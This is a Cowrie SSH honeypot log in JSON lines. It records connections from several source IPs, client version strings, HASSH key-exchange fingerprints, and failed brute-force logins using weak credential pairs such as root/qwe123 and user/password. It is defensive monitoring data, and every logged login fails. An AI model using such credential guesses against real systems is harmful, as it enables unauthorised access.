{"eventid":"cowrie.session.connect","src_ip":"222.186.25.83","src_port":56992,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e106784bcf8","protocol":"ssh","message":"New connection: 222.186.25.83:56992 (10.17.0.5:22) [session: 9e106784bcf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:40:27.474383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:40:27.479170Z","src_ip":"222.186.25.83","session":"9e106784bcf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:40:27.749331Z","src_ip":"222.186.25.83","session":"9e106784bcf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"abc","message":"login attempt [testuser/abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:40:28.803875Z","src_ip":"222.186.25.83","session":"9e106784bcf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:40:30.059507Z","src_ip":"222.186.25.83","session":"9e106784bcf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":54094,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a977aaf9650","protocol":"ssh","message":"New connection: 122.168.114.167:54094 (159.203.135.109:22) [session: 8a977aaf9650]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:40:32.671849Z"}
{"eventid":"cowrie.session.connect","src_ip":"36.141.79.94","src_port":47885,"dst_ip":"10.17.0.5","dst_port":22,"session":"778b5168fb04","protocol":"ssh","message":"New connection: 36.141.79.94:47885 (10.17.0.5:22) [session: 778b5168fb04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:40:34.414632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:40:34.419142Z","src_ip":"36.141.79.94","session":"778b5168fb04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:40:34.671193Z","src_ip":"36.141.79.94","session":"778b5168fb04","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:40:35.086225Z","src_ip":"122.168.114.167","session":"8a977aaf9650","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:40:35.093102Z","src_ip":"122.168.114.167","session":"8a977aaf9650","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"1q2w3e","message":"login attempt [guest/1q2w3e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:40:35.694865Z","src_ip":"36.141.79.94","session":"778b5168fb04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:40:36.948948Z","src_ip":"36.141.79.94","session":"778b5168fb04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55284,"dst_ip":"159.203.135.109","dst_port":22,"session":"88192855ce9e","protocol":"ssh","message":"New connection: 159.203.92.129:55284 (159.203.135.109:22) [session: 88192855ce9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:40:44.414601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:40:44.418180Z","src_ip":"159.203.92.129","session":"88192855ce9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:40:44.421556Z","src_ip":"159.203.92.129","session":"88192855ce9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"root","message":"login attempt [appuser/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:40:44.430614Z","src_ip":"159.203.92.129","session":"88192855ce9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:40:45.435898Z","src_ip":"159.203.92.129","session":"88192855ce9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123","message":"login attempt [root/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:40:46.919039Z","src_ip":"122.168.114.167","session":"8a977aaf9650","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.2","message":"Connection lost after 18.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:40:50.886461Z","src_ip":"122.168.114.167","session":"8a977aaf9650","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":56508,"dst_ip":"159.203.135.109","dst_port":22,"session":"79f9f9a1b71c","protocol":"ssh","message":"New connection: 122.168.114.167:56508 (159.203.135.109:22) [session: 79f9f9a1b71c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:41:12.265522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:41:15.546586Z","src_ip":"122.168.114.167","session":"79f9f9a1b71c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:41:15.551252Z","src_ip":"122.168.114.167","session":"79f9f9a1b71c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35258,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4406eea5a86","protocol":"ssh","message":"New connection: 159.203.92.129:35258 (159.203.135.109:22) [session: b4406eea5a86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:41:30.220066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:41:30.224699Z","src_ip":"159.203.92.129","session":"b4406eea5a86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:41:30.229910Z","src_ip":"159.203.92.129","session":"b4406eea5a86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appusr","password":"123","message":"login attempt [appusr/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:41:30.242718Z","src_ip":"159.203.92.129","session":"b4406eea5a86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:41:31.248451Z","src_ip":"159.203.92.129","session":"b4406eea5a86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"sam","message":"login attempt [sam/sam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:41:31.609705Z","src_ip":"122.168.114.167","session":"79f9f9a1b71c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"25.3","message":"Connection lost after 25.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:41:37.530763Z","src_ip":"122.168.114.167","session":"79f9f9a1b71c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":58908,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a51930c5e89","protocol":"ssh","message":"New connection: 122.168.114.167:58908 (159.203.135.109:22) [session: 7a51930c5e89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:41:48.487635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:41:53.867264Z","src_ip":"122.168.114.167","session":"7a51930c5e89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:41:53.872072Z","src_ip":"122.168.114.167","session":"7a51930c5e89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59124,"dst_ip":"159.203.135.109","dst_port":22,"session":"75b253ff50be","protocol":"ssh","message":"New connection: 159.203.92.129:59124 (159.203.135.109:22) [session: 75b253ff50be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:42:14.621544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:42:14.637427Z","src_ip":"159.203.92.129","session":"75b253ff50be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:42:14.641551Z","src_ip":"159.203.92.129","session":"75b253ff50be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appusr","password":"123456","message":"login attempt [appusr/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:42:14.664338Z","src_ip":"159.203.92.129","session":"75b253ff50be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:42:15.671147Z","src_ip":"159.203.92.129","session":"75b253ff50be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:42:17.648694Z","src_ip":"122.168.114.167","session":"7a51930c5e89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.80.18.158","src_port":38478,"dst_ip":"10.17.0.5","dst_port":22,"session":"1aef2aa68c5b","protocol":"ssh","message":"New connection: 186.80.18.158:38478 (10.17.0.5:22) [session: 1aef2aa68c5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:42:19.936955Z"}
